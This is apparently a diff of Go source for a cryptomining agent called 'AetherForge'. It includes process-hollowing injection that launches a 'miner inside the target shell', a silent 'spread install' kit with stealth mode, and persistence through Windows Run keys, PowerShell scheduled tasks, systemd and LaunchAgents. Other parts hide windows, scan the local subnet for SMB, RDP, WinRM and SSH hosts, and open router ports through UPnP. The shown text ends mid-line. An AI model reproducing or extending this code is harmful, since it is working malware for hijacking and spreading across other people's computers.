for i := uint16(0); i < numSections; i++ { ret, _, lastErr = procWriteProcessMemory.Call(
secHdr := ntHeader[sectionsStart+uint32(i)*40:] uintptr(pi.Process), newMem,
virtAddr := binary.LittleEndian.Uint32(secHdr[12:]) uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
if sizeOfRawData > 0 {
procWriteProcessMemory.Call(
uintptr(pi.Process),
newMem+uintptr(virtAddr),
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
uintptr(sizeOfRawData),
uintptr(unsafe.Pointer(&bytesRW)), uintptr(unsafe.Pointer(&bytesRW)),
) )
if ret == 0 {
return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
}
sectionsStart := 24 + uint32(sizeOfOptHdr)
patchedNT := patched[eLFANew:]
for i := uint16(0); i < numSections; i++ {
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
if rawSize > 0 {
ret, _, lastErr = procWriteProcessMemory.Call(
uintptr(pi.Process),
newMem+uintptr(virtAddr),
uintptr(unsafe.Pointer(&patched[rawOff])),
uintptr(rawSize),
uintptr(unsafe.Pointer(&bytesRW)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
}
} }
} }
// Update the PEB with the new ImageBase // 8. Update PEB.ImageBaseAddress to the actual allocation address.
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW))) procWriteProcessMemory.Call(
uintptr(pi.Process), uintptr(rdx+16),
uintptr(unsafe.Pointer(&newMem)), 8,
uintptr(unsafe.Pointer(&bytesRW)),
)
// 7. Update the Thread Context to point to our payload's Entry Point // 9. Set the initial thread's Rcx to our entry point.
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point // The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr) *(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
if ret == 0 {
return fmt.Errorf("SetThreadContext: %v", lastErr)
}
// 8. Resume the hollowed thread, launching our miner inside the target shell // 10. Resume the hollowed thread.
ret, _, err = procResumeThread.Call(uintptr(pi.Thread)) ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
if ret == 0xFFFFFFFF { if ret == 0xFFFFFFFF {
return fmt.Errorf("ResumeThread failed: %v", err) return fmt.Errorf("ResumeThread: %v", lastErr)
} }
return nil return nil

View File

@@ -23,6 +23,14 @@ func EnsureAgentID(installDir string) (string, error) {
return id, nil return id, nil
} }
// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
func loadOrCreateAgentID(installDir string) (string, error) {
if id, err := LoadAgentID(installDir); err == nil && id != "" {
return id, nil
}
return EnsureAgentID(installDir)
}
// LoadAgentID returns the persisted agent ID from the install directory. // LoadAgentID returns the persisted agent ID from the install directory.
func LoadAgentID(installDir string) (string, error) { func LoadAgentID(installDir string) (string, error) {
path := filepath.Join(installDir, agentIDFile) path := filepath.Join(installDir, agentIDFile)

View File

@@ -2,40 +2,31 @@ package deploy
import ( import (
"fmt" "fmt"
"io"
"os" "os"
"os/exec"
"path/filepath" "path/filepath"
"strings"
"crypto-miner-agent/config" "crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
) )
const runFlag = "--run"
// InstallIfNeeded copies the installer to a permanent location, registers auto-start, // InstallIfNeeded copies the installer to a permanent location, registers auto-start,
// and relaunches the miner from there. Returns true when the current process should exit. // and relaunches the miner from there. Returns true when the current process should exit.
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
if isRunMode() {
return false, nil
}
currentExe, err := CurrentExecutable() currentExe, err := CurrentExecutable()
if err != nil { if err != nil {
return false, err return false, err
} }
for _, arg := range os.Args[1:] {
if arg == runFlag {
return false, nil
}
}
installDir, err := resolveInstallDirWithFallback(cfg) installDir, err := resolveInstallDirWithFallback(cfg)
if err != nil { if err != nil {
return false, err return false, err
} }
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") installedBin := filepath.Join(installDir, BinaryName(cfg))
if samePath(currentExe, installedExe) { if samePath(currentExe, installedBin) {
return false, nil return false, nil
} }
@@ -43,12 +34,12 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return false, fmt.Errorf("create install dir: %w", err) return false, fmt.Errorf("create install dir: %w", err)
} }
if err := copyFile(currentExe, installedExe); err != nil { if err := copyFile(currentExe, installedBin); err != nil {
return false, fmt.Errorf("copy miner: %w", err) return false, fmt.Errorf("copy miner: %w", err)
} }
_ = saveBackup(installedExe) _ = saveBackup(installedBin)
agentID, err := EnsureAgentID(installDir) agentID, err := loadOrCreateAgentID(installDir)
if err != nil { if err != nil {
return false, fmt.Errorf("agent id: %w", err) return false, fmt.Errorf("agent id: %w", err)
} }
@@ -58,151 +49,43 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
logPath = "" logPath = ""
} }
if !cfg.StealthMode { writeInstalledMarker(cfg, installDir, installedBin, agentID)
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n", if wantsSpreadInstall() {
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe, _ = setFirstRunSpreadMarker(installDir)
)), 0644)
} }
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" { if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
if err := configureAutoStart(cfg, installedExe); err != nil { if err := configureAutoStart(cfg, installedBin); err != nil {
return false, fmt.Errorf("auto-start: %w", err) return false, fmt.Errorf("auto-start: %w", err)
} }
} }
if err := configureRunMode(cfg, installedExe); err != nil { if err := configureRunMode(cfg, installedBin); err != nil {
return false, err return false, err
} }
EnsureFirewallExclusion(cfg, installedExe) EnsureFirewallExclusion(cfg, installedBin)
if err := relaunch(installedExe, logPath); err != nil { if err := relaunch(installedBin, logPath); err != nil {
return false, fmt.Errorf("start installed miner: %w", err) return false, fmt.Errorf("start installed miner: %w", err)
} }
return true, nil return true, nil
} }
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) { // SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded).
dir, err := cfg.InstallDirectory() func SpreadInstall(cfg config.RuntimeConfig) (bool, error) {
if err == nil { if isLocalhostURL(cfg.ServerURL) {
return dir, nil LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP"))
} }
ok, err := InstallIfNeeded(cfg)
fallbacks := []string{"localappdata", "appdata", "temp"}
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
for _, base := range fallbacks {
if seen[base] {
continue
}
seen[base] = true
try := cfg
try.InstallBase = base
dir, tryErr := try.InstallDirectory()
if tryErr == nil {
return dir, nil
}
}
return "", err
}
func InstallDir(workerName, buildID string) (string, error) {
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: "localappdata",
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil { if err != nil {
return err LogSpreadError("spread-install", err)
return ok, err
} }
defer k.Close() if ok {
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag)) LogSpreadInfo("spread-install complete — worker relaunched from install dir")
} }
return ok, err
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
switch cfg.RunAs {
case "scheduled", "service":
return createScheduledTask(cfg, installedExe)
default:
return nil
}
}
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
taskName := PersistenceKeyName(cfg)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(exePath, `'`, `''`),
runFlag,
strings.ReplaceAll(taskName, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func PersistenceKeyName(cfg config.RuntimeConfig) string {
if cfg.StealthMode {
return cfg.EffectiveProcessName()
}
name := sanitizeName(cfg.WorkerName)
if name == "" {
return cfg.EffectiveProcessName()
}
return "CryptoMiner-" + name
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
cmd.Dir = filepath.Dir(exePath)
if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
}
return cmd.Start()
}
func sanitizeName(name string) string {
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
return replacer.Replace(strings.TrimSpace(name))
}
func samePath(a, b string) bool {
a = filepath.Clean(a)
b = filepath.Clean(b)
if strings.EqualFold(a, b) {
return true
}
aAbs, errA := filepath.Abs(a)
bAbs, errB := filepath.Abs(b)
if errA != nil || errB != nil {
return false
}
return strings.EqualFold(aAbs, bAbs)
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
} }

343
agent/deploy/natpunch.go Normal file
View File

@@ -0,0 +1,343 @@
package deploy
import (
"bytes"
"encoding/xml"
"fmt"
"io"
"net"
"net/http"
"regexp"
"strconv"
"strings"
"time"
)
const ssdpAddr = "239.255.255.250:1900"
// NATPunchResult reports a UPnP port mapping attempt.
type NATPunchResult struct {
Success bool
ExternalIP string
ExternalPort int
InternalPort int
Method string
Message string
}
var (
reLocation = regexp.MustCompile(`(?i)LOCATION:\s*(\S+)`)
reControl = regexp.MustCompile(`(?i)<controlURL>([^<]+)</controlURL>`)
reService = regexp.MustCompile(`(?i)urn:schemas-upnp-org:service:(WANIPConnection|WANPPPConnection):1`)
)
// PunchUPnP maps externalPort -> internalPort on the local router via IGD UPnP.
func PunchUPnP(internalPort, externalPort int, description string) (NATPunchResult, error) {
if internalPort <= 0 {
internalPort = 8989
}
if externalPort <= 0 {
externalPort = internalPort
}
if description == "" {
description = "AetherForge"
}
location, err := discoverIGDLocation(4 * time.Second)
if err != nil {
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
}
controlURL, err := resolveWANControlURL(location)
if err != nil {
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
}
extIP, err := upnpGetExternalIP(controlURL)
if err != nil {
return NATPunchResult{Method: "upnp", Message: "GetExternalIP failed: " + err.Error()}, err
}
if err := upnpAddPortMapping(controlURL, externalPort, internalPort, description); err != nil {
return NATPunchResult{
Method: "upnp",
ExternalIP: extIP,
ExternalPort: externalPort,
InternalPort: internalPort,
Message: err.Error(),
}, err
}
msg := fmt.Sprintf("UPnP mapped %s:%d -> local :%d (%s)", extIP, externalPort, internalPort, description)
return NATPunchResult{
Success: true,
ExternalIP: extIP,
ExternalPort: externalPort,
InternalPort: internalPort,
Method: "upnp",
Message: msg,
}, nil
}
// CloseUPnP removes a UPnP port mapping.
func CloseUPnP(externalPort int) (string, error) {
if externalPort <= 0 {
return "", fmt.Errorf("external port required")
}
location, err := discoverIGDLocation(3 * time.Second)
if err != nil {
return "", err
}
controlURL, err := resolveWANControlURL(location)
if err != nil {
return "", err
}
if err := upnpDeletePortMapping(controlURL, externalPort); err != nil {
return "", err
}
return fmt.Sprintf("UPnP mapping removed for external port %d", externalPort), nil
}
// GetPublicEndpoint returns WAN IP via UPnP when available.
func GetPublicEndpoint() (string, error) {
location, err := discoverIGDLocation(3 * time.Second)
if err != nil {
return "", err
}
controlURL, err := resolveWANControlURL(location)
if err != nil {
return "", err
}
return upnpGetExternalIP(controlURL)
}
func discoverIGDLocation(timeout time.Duration) (string, error) {
conn, err := net.ListenPacket("udp4", ":0")
if err != nil {
return "", err
}
defer conn.Close()
target, _ := net.ResolveUDPAddr("udp4", ssdpAddr)
search := []byte("M-SEARCH * HTTP/1.1\r\n" +
"HOST: 239.255.255.250:1900\r\n" +
"MAN: \"ssdp:discover\"\r\n" +
"MX: 2\r\n" +
"ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n" +
"\r\n")
_ = conn.SetDeadline(time.Now().Add(timeout))
if _, err := conn.WriteTo(search, target); err != nil {
return "", err
}
buf := make([]byte, 4096)
for {
n, _, err := conn.ReadFrom(buf)
if err != nil {
break
}
body := string(buf[:n])
if m := reLocation.FindStringSubmatch(body); len(m) == 2 {
return strings.TrimSpace(m[1]), nil
}
}
return "", fmt.Errorf("no UPnP IGD found on LAN (SSDP timeout)")
}
func resolveWANControlURL(deviceLocation string) (string, error) {
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(deviceLocation)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", err
}
text := string(body)
if !reService.MatchString(text) {
return "", fmt.Errorf("WANIPConnection service not found in IGD description")
}
m := reControl.FindStringSubmatch(text)
if len(m) != 2 {
return "", fmt.Errorf("UPnP controlURL not found")
}
controlPath := strings.TrimSpace(m[1])
base := deviceLocation
if idx := strings.Index(base, "://"); idx >= 0 {
if slash := strings.Index(base[idx+3:], "/"); slash >= 0 {
base = base[:idx+3+slash]
}
}
if strings.HasPrefix(controlPath, "http") {
return controlPath, nil
}
if !strings.HasPrefix(controlPath, "/") {
controlPath = "/" + controlPath
}
return base + controlPath, nil
}
func upnpGetExternalIP(controlURL string) (string, error) {
body := `<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"/>
</s:Body>
</s:Envelope>`
resp, err := upnpSOAP(controlURL, "GetExternalIPAddress", body)
if err != nil {
return "", err
}
type envelope struct {
Body struct {
Response struct {
IP string `xml:"NewExternalIPAddress"`
} `xml:"GetExternalIPAddressResponse"`
} `xml:"Body"`
}
var env envelope
if err := xml.Unmarshal(resp, &env); err != nil {
return "", err
}
ip := strings.TrimSpace(env.Body.Response.IP)
if ip == "" {
return "", fmt.Errorf("empty external IP from router")
}
return ip, nil
}
func upnpAddPortMapping(controlURL string, externalPort, internalPort int, description string) error {
localIP, err := primaryLocalIPv4()
if err != nil {
return err
}
body := fmt.Sprintf(`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>%d</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>%d</NewInternalPort>
<NewInternalClient>%s</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>%s</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>`, externalPort, internalPort, localIP, xmlEscape(description))
_, err = upnpSOAP(controlURL, "AddPortMapping", body)
return err
}
func upnpDeletePortMapping(controlURL string, externalPort int) error {
body := fmt.Sprintf(`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>%d</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
</u:DeletePortMapping>
</s:Body>
</s:Envelope>`, externalPort)
_, err := upnpSOAP(controlURL, "DeletePortMapping", body)
return err
}
func upnpSOAP(controlURL, action, body string) ([]byte, error) {
req, err := http.NewRequest(http.MethodPost, controlURL, bytes.NewBufferString(body))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", `text/xml; charset="utf-8"`)
req.Header.Set("SOAPAction", fmt.Sprintf(`"urn:schemas-upnp-org:service:WANIPConnection:1#%s"`, action))
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
data, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode >= 400 || bytes.Contains(data, []byte("errorCode")) {
return nil, fmt.Errorf("UPnP SOAP %s failed: %s", action, strings.TrimSpace(string(data)))
}
return data, nil
}
func primaryLocalIPv4() (string, error) {
conn, err := net.Dial("udp4", "8.8.8.8:80")
if err != nil {
return "", err
}
defer conn.Close()
addr := conn.LocalAddr().(*net.UDPAddr)
return addr.IP.String(), nil
}
func xmlEscape(s string) string {
s = strings.ReplaceAll(s, "&", "&amp;")
s = strings.ReplaceAll(s, "<", "&lt;")
s = strings.ReplaceAll(s, ">", "&gt;")
return s
}
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
func ScanLocalSubnet(maxHosts int) string {
if maxHosts <= 0 {
maxHosts = 64
}
ips := getLocalIPs()
if len(ips) == 0 {
return "no local IPv4 interfaces found"
}
var b strings.Builder
seen := 0
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
for i := 1; i < 255 && seen < maxHosts; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue
}
open := probePorts(target, []int{445, 3389, 5985, 22})
if len(open) > 0 {
b.WriteString(fmt.Sprintf(" %s open: %s\n", target, strings.Join(intSliceStr(open), ", ")))
seen++
}
}
}
if seen == 0 {
b.WriteString("No hosts with SMB/RDP/WinRM/SSH responded in quick scan.")
}
return b.String()
}
func probePorts(host string, ports []int) []int {
var open []int
for _, p := range ports {
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(p)), 800*time.Millisecond)
if err == nil {
conn.Close()
open = append(open, p)
}
}
return open
}
func intSliceStr(v []int) []string {
out := make([]string, len(v))
for i, n := range v {
out[i] = strconv.Itoa(n)
}
return out
}

View File

@@ -0,0 +1,144 @@
//go:build !windows
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
func CurrentExecutable() (string, error) {
path, err := os.Executable()
if err != nil {
return filepath.Abs(os.Args[0])
}
return filepath.Abs(path)
}
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
switch runtime.GOOS {
case "darwin":
return configureLaunchAgent(cfg, binPath)
default:
return configureSystemdUser(cfg, binPath)
}
}
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
return configureAutoStart(cfg, installedBin)
}
return nil
}
func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error {
unitName := PersistenceKeyName(cfg) + ".service"
unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
if err := os.MkdirAll(unitDir, 0755); err != nil {
return err
}
unitPath := filepath.Join(unitDir, unitName)
content := fmt.Sprintf(`[Unit]
Description=AetherForge Worker %s
After=network.target
[Service]
Type=simple
ExecStart=%s %s
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
`, cfg.WorkerName, binPath, runFlag)
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
return err
}
_ = exec.Command("systemctl", "--user", "daemon-reload").Run()
_ = exec.Command("systemctl", "--user", "enable", unitName).Run()
_ = exec.Command("systemctl", "--user", "start", unitName).Run()
return nil
}
func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error {
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
if err := os.MkdirAll(plistDir, 0755); err != nil {
return err
}
plistPath := filepath.Join(plistDir, label+".plist")
content := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key><string>%s</string>
<key>ProgramArguments</key>
<array><string>%s</string><string>%s</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>ProcessType</key><string>Background</string>
</dict>
</plist>
`, label, binPath, runFlag)
if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil {
return err
}
_ = exec.Command("launchctl", "load", plistPath).Run()
return nil
}
func applyDetachedStart(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.Stdin = nil
cmd.Stdout = nil
cmd.Stderr = nil
}
func HostOSVersion() string {
out, err := exec.Command("uname", "-sr").CombinedOutput()
if err != nil {
return runtime.GOOS
}
return strings.TrimSpace(string(out))
}
func killWorkerProcess(cfg config.RuntimeConfig) {
name := BinaryName(cfg)
if runtime.GOOS == "darwin" {
_ = exec.Command("pkill", "-f", name).Run()
} else {
_ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run()
}
}
func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
switch runtime.GOOS {
case "darwin":
label := "com.aetherforge." + sanitizeName(keyName)
plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist")
_ = exec.Command("launchctl", "unload", plistPath).Run()
_ = os.Remove(plistPath)
default:
unitName := keyName + ".service"
_ = exec.Command("systemctl", "--user", "disable", unitName).Run()
_ = exec.Command("systemctl", "--user", "stop", unitName).Run()
_ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName))
}
}
func selfUninstallSpawn(installDir string) {
script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir)
tmp := filepath.Join(os.TempDir(), "af-uninstall.sh")
_ = os.WriteFile(tmp, []byte(script), 0755)
cmd := exec.Command("/bin/sh", tmp)
_ = cmd.Start()
}

View File

@@ -0,0 +1,102 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
func CurrentExecutable() (string, error) {
path, err := os.Executable()
if err != nil {
return filepath.Abs(os.Args[0])
}
return filepath.Abs(path)
}
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
}
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "scheduled", "service":
return createScheduledTask(cfg, installedBin)
default:
return nil
}
}
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
taskName := PersistenceKeyName(cfg)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(binPath, `'`, `''`),
runFlag,
strings.ReplaceAll(taskName, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func applyDetachedStart(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: 0x08000000,
}
}
func HostOSVersion() string {
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
if err != nil {
return "windows"
}
return strings.TrimSpace(string(out))
}
func killWorkerProcess(cfg config.RuntimeConfig) {
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
}
func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err == nil {
_ = runKey.DeleteValue(keyName)
runKey.Close()
}
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
}
func selfUninstallSpawn(installDir string) {
ps := fmt.Sprintf(`
$dir = '%s'
Start-Sleep -Seconds 2
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
`, strings.ReplaceAll(installDir, "'", "''"))
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Start()
}

View File

@@ -0,0 +1,24 @@
//go:build !windows
package deploy
import (
"syscall"
)
func SetProcessPriority(priority string) error {
nice := 5
switch priority {
case "idle":
nice = 19
case "below_normal":
nice = 10
case "normal":
nice = 5
case "above_normal":
nice = 0
case "high":
nice = -5
}
return syscall.Setpriority(syscall.PRIO_PROCESS, 0, nice)
}

View File

@@ -1,10 +1,11 @@
//go:build windows
package deploy package deploy
import ( import (
"fmt" "fmt"
"os" "os"
"os/exec" "os/exec"
"path/filepath"
) )
func SetProcessPriority(priority string) error { func SetProcessPriority(priority string) error {
@@ -26,7 +27,3 @@ func SetProcessPriority(priority string) error {
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class)) fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
return cmd.Run() return cmd.Run()
} }
func CurrentExecutable() (string, error) {
return filepath.Abs(os.Args[0])
}

72
agent/deploy/spreadkit.go Normal file
View File

@@ -0,0 +1,72 @@
package deploy
import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
)
const spreadLogName = "aetherforge-spread.log"
// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console).
func LogSpreadError(stage string, err error) {
if err == nil {
return
}
line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err)
path := filepath.Join(os.TempDir(), spreadLogName)
f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if openErr != nil {
return
}
_, _ = f.WriteString(line)
_ = f.Close()
}
func LogSpreadInfo(msg string) {
line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg)
path := filepath.Join(os.TempDir(), spreadLogName)
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
return
}
_, _ = f.WriteString(line)
_ = f.Close()
}
func isLocalhostURL(url string) bool {
u := strings.ToLower(strings.TrimSpace(url))
return strings.Contains(u, "localhost") ||
strings.Contains(u, "127.0.0.1") ||
strings.Contains(u, "[::1]")
}
const firstRunSpreadMarker = ".spread_first_run"
func setFirstRunSpreadMarker(installDir string) error {
return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600)
}
// WantsFirstRunSpread reports a one-shot autospread after spread-kit install.
func WantsFirstRunSpread(cfg config.RuntimeConfig) bool {
dir, err := cfg.InstallDirectory()
if err != nil {
return false
}
_, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker))
return err == nil
}
// ClearFirstRunSpreadMarker removes the first-run spread marker.
func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) {
dir, err := cfg.InstallDirectory()
if err != nil {
return
}
_ = os.Remove(filepath.Join(dir, firstRunSpreadMarker))
}

35
agent/deploy/tunnel.go Normal file
View File

@@ -0,0 +1,35 @@
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
// StartCloudflaredTunnel launches cloudflared pointing at serverURL (background).
func StartCloudflaredTunnel(serverURL string) (string, error) {
serverURL = strings.TrimSpace(serverURL)
if serverURL == "" {
return "", fmt.Errorf("server URL required")
}
checkCmd := exec.Command("cloudflared", "--version")
if err := checkCmd.Run(); err != nil {
downloadCmd := exec.Command("powershell", "-Command",
